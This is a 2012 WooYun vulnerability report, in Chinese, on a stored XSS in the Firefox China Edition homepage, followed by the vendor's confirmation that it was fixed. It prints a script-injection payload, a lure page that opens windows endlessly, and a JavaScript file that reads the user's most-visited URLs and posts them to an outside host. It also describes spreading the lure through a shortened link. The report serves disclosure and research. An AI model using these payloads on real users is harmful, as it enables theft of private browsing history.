当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-011398

漏洞标题:利用火狐主页窃取用户浏览信息。

相关厂商:火狐浏览器

漏洞作者: P1n9y_fly

提交时间:2012-08-27 15:39

修复时间:2012-10-11 15:40

公开时间:2012-10-11 15:40

漏洞类型:用户敏感数据泄漏

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-08-27: 细节已通知厂商并且等待厂商处理中
2012-08-27: 厂商已经确认,细节仅向厂商公开
2012-08-30: 细节向第三方安全合作伙伴开放
2012-10-21: 细节向核心白帽子及相关领域专家公开
2012-10-31: 细节向普通白帽子公开
2012-11-10: 细节向实习白帽子公开
2012-10-11: 细节向公众公开

简要描述:

利用火狐主页窃取用户浏览信息

详细说明:

火狐主页,就是我们一打开浏览器,默认跳转到的那个页面。
遇见一件很奇怪的事情,虽然百度搜索那个地方木有XSS但是还是习惯性的去搜索这个关键字,看有没有别人在哪测试。


然后奇怪的事情就发生了:


我把浏览器关上,然后再打开结果就被弹了,百思不得其解,最后在这里发现了答案


原来是火狐主页会读取用户的历史记录并显示在网页上,但是恰好网页名字木有过滤。
然后又在想,既然有XSS,又有历史记录,那我们不是可以通过这个获取用户的浏览历史记录么?
将整个页面下载下来后,查看他的源代码。发现其调用的index.js里面有关于获取历史记录的代码


var HOMEPAGE={
is_gecko:((window.Components+'')=='[object nsXPCComponents]'),hp_xpi:window['cehp_xpi']?window['cehp_xpi']:'http://download.firefox.com.cn/chinaedition/addons/cehomepage/cehomepage-latest.xpi',mosts:[],lasts:[],init:function(){
if(HOMEPAGE.is_gecko){
$(window).load(function(){
if(window['cehomepage']){
var startup=window.cehomepage.startup;
if((startup.homepage()==startup.cehomepage()||startup.homepage()=='http://i.firefoxchina.cn/'||startup.homepage()=='about:cehome')&&startup.page()==1){
if(!startup.homepage_changed()||startup.homepage()==startup.cehomepage()||startup.homepage()=='http://i.firefoxchina.cn/'||startup.homepage()=='about:cehome'){
$("#child651").hide();
}else{
$("#child651").show();
}
}else{
$("#child651").show();
}
HOMEPAGE.writeLog();
}else{
$("#mylog").html("<a href='"+HOMEPAGE.hp_xpi+"' style='margin:50px;display:block;text-align:center;'>要使用此功能,请安装火狐主页扩展!</a>");
}
});
}else{
$("#mylog").html("<a href='http://firefox.com.cn' style='margin:50px;display:block;text-align:center;'>要使用此功能,请使用高速、安全的火狐浏览器!</a>");
}
},writeLog:function(){
HOMEPAGE.mosts=window.cehomepage.frequent.query(8);
for(var i in HOMEPAGE.mosts){
$("#mylogmost").append("<li><span></span><a href='"+HOMEPAGE.mosts[i].uri+"' title='"+(HOMEPAGE.mosts[i].title||HOMEPAGE.mosts[i].uri)+"'>"+(HOMEPAGE.mosts[i].title||HOMEPAGE.mosts[i].uri)+"</a></li>");
}


根据这一段代码我构造出一个相同功能的JS文件,并将历史记录ALERT出来:

var testpage={
is_gecko:((window.Components+'')=='[object nsXPCComponents]'),hp_xpi:window['cehp_xpi']?window['cehp_xpi']:'http://download.firefox.com.cn/chinaedition/addons/cehomepage/cehomepage-latest.xpi',mosts:[],lasts:[],init:function(){
//alert("init run");
if(testpage.is_gecko){
//alert("is_gecko");
testpage.writeLog();
}else{
//alert("not_gecko");
}
},writeLog:function(){
testpage.mosts=window.cehomepage.frequent.query(8);
for(var i in testpage.mosts){
alert(testpage.mosts[i].uri);
}
}
}
//alert("page run");
testpage.init();


弄好了之后我们试一下:
在百度中搜索:"/><script/src=http://pinqy520.duapp.com/ff.js></script>
关闭浏览器后重新打开


发现我的浏览记录果断的被弹出来了。
然后我们就来研究进一步利用,我们构造了一个网页:w.html

<html>
<head>
<title>&quot;&gt;&lt;script/src=http://pinqy520.duapp.com/n.js&gt;&lt;/script&gt;</title>
</head>
<script language="javascript">
window.open("http://pinqy520.duapp.com/w.html");
</script>


然后构造一个JS文件获取用户浏览器历史记录:n.js

function formSubmit(elementValue) {
var hextxs = document.createElement("form");
//一定要加入到body中!!
document.body.appendChild(hextxs);
hextxs.method = 'post';
hextxs.action = 'http://kocteg.duapp.com/a.php';
hextxs.target = 'actionframe';
//创建隐藏表单
var riskversion = document.createElement("input");
riskversion.setAttribute("name","v");
riskversion.setAttribute("type","hidden");
riskversion.setAttribute("value","f");
hextxs.appendChild(riskversion);

var getcookies = document.createElement("input");
getcookies.setAttribute("name","c");
getcookies.setAttribute("type","hidden");
getcookies.setAttribute("value",elementValue);
hextxs.appendChild(getcookies);
hextxs.submit();
}
var testpage={
is_gecko:((window.Components+'')=='[object nsXPCComponents]'),hp_xpi:window['cehp_xpi']?window['cehp_xpi']:'http://download.firefox.com.cn/chinaedition/addons/cehomepage/cehomepage-latest.xpi',mosts:[],lasts:[],init:function(){
//alert("init run");
if(testpage.is_gecko){
//alert("is_gecko");
testpage.writeLog();
}else{
//alert("not_gecko");
}
},writeLog:function(){
testpage.mosts=window.cehomepage.frequent.query(8);
var t="";
for(var i in testpage.mosts){
//alert(testpage.mosts[i].uri);
//t+="("+i+")url:"+testpage.mosts[i].uri+";name:"+(testpage.mosts[i].title||testpage.mosts[i].uri)+";";
t+="("+i+")url:"+testpage.mosts[i].uri+";";
}
//alert(t);
formSubmit(t);
}
}
//alert("page run");
testpage.init();


我们将网址:http://pinqy520.duapp.com/w.html
弄成一个短地址:http://126.am/3wYfI3
发给别人
点开之后


网页无限被打开
然后我们再加点,一看就知道是恶心广告的东西,一点开,什么都不想,直接关闭火狐。
然后再重新打开的时候,因为我的网页名字被设置成了
"/><script/src=http://pinqy520.duapp.com/n.js></script>
由于火狐主页的那个XSS,就会被调用,然后执行其中的JS代码。用户的浏览信息就被传到我这里来了- -
而因为网页打开次数很多,网页很有可能被加载到最常访问的页面,那一栏- -
这就更悲剧了,每次开开心心的打开火狐浏览器- -亲爱的浏览记录就都跑到我这里来了 = =。
如下图。


以上。

漏洞证明:

灰常谢谢goderci牛给的那个无限弹窗口导致人想关显示器的建议。。。

修复方案:

过来。。。。

版权声明:转载请注明来源 P1n9y_fly@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-08-27 21:39

厂商回复:

火狐主页已经修复了这个漏洞,并且上线了。非常感谢P1n9y_fly和乌云网对火狐浏览器的支持。xss漏洞真是防不胜防。希望今后能得到各位继续支持,共建美好而安全的互联网世界。

最新状态:

2012-08-27:这个漏洞是由于火狐主页显示用户浏览过的网页title时,如遇页面title内容含script标签,会导致远程脚本注入页面,有可能致使页面内其他内容(用户最常\最近访问网址)被第三方网站抓取。这个漏洞类型:xss类,触发方式:用户主动触发,涉及数据:历史纪录。所以我们评定危害等级中级。